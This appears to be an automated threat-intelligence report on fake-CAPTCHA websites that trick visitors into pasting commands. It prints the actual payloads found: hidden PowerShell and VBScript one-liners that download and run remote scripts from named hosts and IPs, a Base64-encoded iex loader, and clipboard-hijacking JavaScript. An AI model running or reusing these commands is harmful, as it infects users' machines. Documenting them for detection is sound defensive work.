Threat Intelligence Report

📅 December 15, 2025 🕒 Generated: 2025-12-15 02:52:24 🔍 Sites Analyzed: 23

⬇️ Download JSON Report 📁 View All Reports on GitHub

🌐

Total Sites Analyzed

⚠️

Malicious Sites

30.0% detection rate

💻

PowerShell Commands

📋

Clipboard Hijacks

📊

225

Avg Threat Score

Attack Pattern Analysis

High Risk Commands

Base64 Encoded

Obfuscated JS

Inline JS Redirects

External JS Chains

Redirect Follows

PowerShell Commands 8

Clipboard Hijacks 28

Base64 Encoded 40

CAPTCHA Elements 31

High Risk Commands 7

JS Redirects 10

Top Indicators/Keywords

robot (4) hidden (4) CAPTCHA Verification (2) I am not a robot (2) Robot (2) Verification (2) verification (2) verification-id (2) verification_id (2) To better prove you are not a robot (2) iex (2) failed_to_retrieve (2) exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator) (2) exec( (2) Command iine: [2]RemoveFiiesRemoving fiiesRemoveIniVaiuesRemoving INI fiies entriesRemoveODBCRemoving ODBC componentsSeifRegModuiesRegistering moduiesFiie: [i], Foider: [2]RemoveShortcutsRemoving shortcutsSeifUnregModuiesUnregistering moWY[�\�_`b�ceg��di�jimo�hpquruvwy{|}~��#��-�&��)��K ��.��aZ��^��z��[��A�� (1)

Malicious Sites Detected

Click on a site to view detailed analysis

https://gaines-kg.jp

73 indicators detected

Score: 618 PowerShell Clipboard Hijack

powershell

clipboard

captcha

base64

suspicious keywords

high risk

💻 PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;

New-Object

🔍 Suspicious Keywords 21

cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\\\Downioads\\\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;"`;

command = `cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\\\Downioads\\\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;"`;

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://ghost.nestdns.com/files

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://annietello.com

66 indicators detected

Score: 541 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://95.i64.53.ii5:5506/do.vbs",0:h.Send:Execute h.ResponseText > "%temp%\do.tmp" && wscript //E:VBScript "%temp%\do.tmp"';

command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://95.i64.53.ii5:5506/do.vbs",0:h.Send:Execute h.ResponseText > "%temp%\do.tmp" && wscript //E:VBScript "%temp%\do.tmp"';

CAPTCHA Verification

Verification ID

Ray ID

I am not a robot

Robot

robot

Verification

verification

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

http://95.164.53.115:5506/do.vbs

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://www.bratusferramentas.grupomoltz.com.br/

42 indicators detected

Score: 371 PowerShell Clipboard Hijack

powershell

clipboard

captcha

base64

redirect follows

suspicious keywords

high risk

💻 PowerShell Commands 3

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing)

iwr

🔍 Suspicious Keywords 13

CAPTCHA Verification

Verification ID

I am not a robot

robot

Robot

Verification

verification

verification-id

verification_id

Verify You Are Human

🌐 Extracted URLs 2

https://use.fontawesome.com/releases/v5.0.0/css/all.css

https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance)

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...

...k", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "0"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "â ''I am not a robot - reCAPTCHA Verification ID: " const end = "''" const textToCopy = commandToRun setClipboardCopyData(textToCopy); } function showVerifyWindow() {...

🛰️ Redirect Follower Findings (1)

Source: inline_js

Method: base64_payload

Original: https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt

iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content

Status: error: HTTPSConnectionPool(host='amazon-ny-gifts.com', port=443): Max retries exceeded with url: /shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt (Caused by NameResolutionError("HTTPSConnection(host

https://theinvestworthy.com

48 indicators detected

Score: 360 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

suspicious keywords

🔍 Suspicious Keywords 18

cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://i03.27.i57.60:5506/dn.vbs",0:h.Send:Execute h.ResponseText > "%temp%\dn.tmp" && wscript //E:VBScript "%temp%\dn.tmp"`;

command = `cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://i03.27.i57.60:5506/dn.vbs",0:h.Send:Execute h.ResponseText > "%temp%\dn.tmp" && wscript //E:VBScript "%temp%\dn.tmp"`;

CAPTCHA Verification

Verification ID

Ray ID

I am not a robot

Robot

robot

Verification

verification

🌐 Extracted URLs 4

https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg

https://i.postimg.cc/k4zrz92z/111.png

http://103.27.157.60:5506/dn.vbs

https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg

📋 Clipboard Manipulation Code

Showing first 2 of 8 entries (truncated for performance)

...d(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea);...

...Default(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); console.log('â '...

https://blessdayservices.org/up/

40 indicators detected

Score: 309 PowerShell Clipboard Hijack

powershell

clipboard

downloads

captcha

suspicious keywords

high risk

💻 PowerShell Commands 3

powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\"";

powershell " + htaPath;

iwr

🔍 Suspicious Keywords 13

CAPTCHA Verification

Verification Hash

I am not a robot

Robot

robot

Verification

verification

verification-id

verification_id

To better prove you are not a robot

🌐 Extracted URLs 5

https://use.fontawesome.com/releases/v5.0.0/css/all.css

https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

https://www.google.com/intl/en/policies/privacy/

https://www.google.com/intl/en/policies/terms/

https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1

📋 Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance)

...); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextA...

...ck", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id){ const suffix = " # " const ploy = "â ''I am not a robot - reCAPTCHA Verification Hash: " const end = "''" const textToCopy = commandToRun + suffix + ploy + verification_id + end setClipboardCopyData(textToCopy); } function showVerifyWindow()...

https://82.146.62.232/

47 indicators detected

Score: 307 Fake CAPTCHA Redirect Chain

captcha

base64

redirects

redirect follows

suspicious keywords

🔍 Suspicious Keywords 4

exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)

robot

exec(

hidden

🌐 Extracted URLs 15

https://svetvip.ru/

https://api.whatsapp.com/send?phone=79258627909

https://svetvip.ru/catalog/vstraivaemye_svetilniki/

https://svetvip.ru/catalog/trekovye_i_shinnye_svetilniki/

🛰️ Redirect Follower Findings (1)

Source: inline_js

Method: script_src

Original: https://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTc5Njg3MTExNwEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAFkNmZmMDM0Zjk5OWM0ZWI4ODZlZDNmZWNjY2M5ZDI1ZgExNzk2ODcxMTE3AS8BAQEC&k=fe2eef1f5cd1274ce1ee6059b22e8ec7

Final: https://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTc5Njg3MTExNwEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAFkNmZmMDM0Zjk5OWM0ZWI4ODZlZDNmZWNjY2M5ZDI1ZgExNzk2ODcxMTE3AS8BAQEC&k=fe2eef1f5cd1274ce1ee6059b22e8ec7

new Image().src='https://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTc5Njg3MTExNwEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAFkNmZmMDM0Zjk5OWM0ZWI4ODZlZDNmZWNjY2M5ZDI1ZgExNzk2ODcxMTE3AS8BAQEC&k=fe2eef1f5cd1274ce1ee6059b22e8ec7';

Status: ok

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at svetvip.ru Port 80</address>
</body></html>

http://82.146.62.232/

47 indicators detected

Score: 307 Fake CAPTCHA Redirect Chain

captcha

base64

redirects

redirect follows

suspicious keywords

🔍 Suspicious Keywords 4

robot

exec(

hidden

🌐 Extracted URLs 15

https://svetvip.ru/

https://api.whatsapp.com/send?phone=79258627909

https://svetvip.ru/catalog/vstraivaemye_svetilniki/

https://svetvip.ru/catalog/trekovye_i_shinnye_svetilniki/

🛰️ Redirect Follower Findings (1)

Source: inline_js

Method: script_src

Original: http://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTc5Njg3MTEyNQEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAE5MzFkMjkxODI2YjNiODZhYmVkN2IzMWVhMGRjYjBiOAExNzk2ODcxMTI1AS8BAQEC&k=655b5945a320412f48af1958e5fc5f9f

Final: http://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTc5Njg3MTEyNQEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAE5MzFkMjkxODI2YjNiODZhYmVkN2IzMWVhMGRjYjBiOAExNzk2ODcxMTI1AS8BAQEC&k=655b5945a320412f48af1958e5fc5f9f

new Image().src='http://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTc5Njg3MTEyNQEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAE5MzFkMjkxODI2YjNiODZhYmVkN2IzMWVhMGRjYjBiOAExNzk2ODcxMTI1AS8BAQEC&k=655b5945a320412f48af1958e5fc5f9f';

Status: ok

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at svetvip.ru Port 80</address>
</body></html>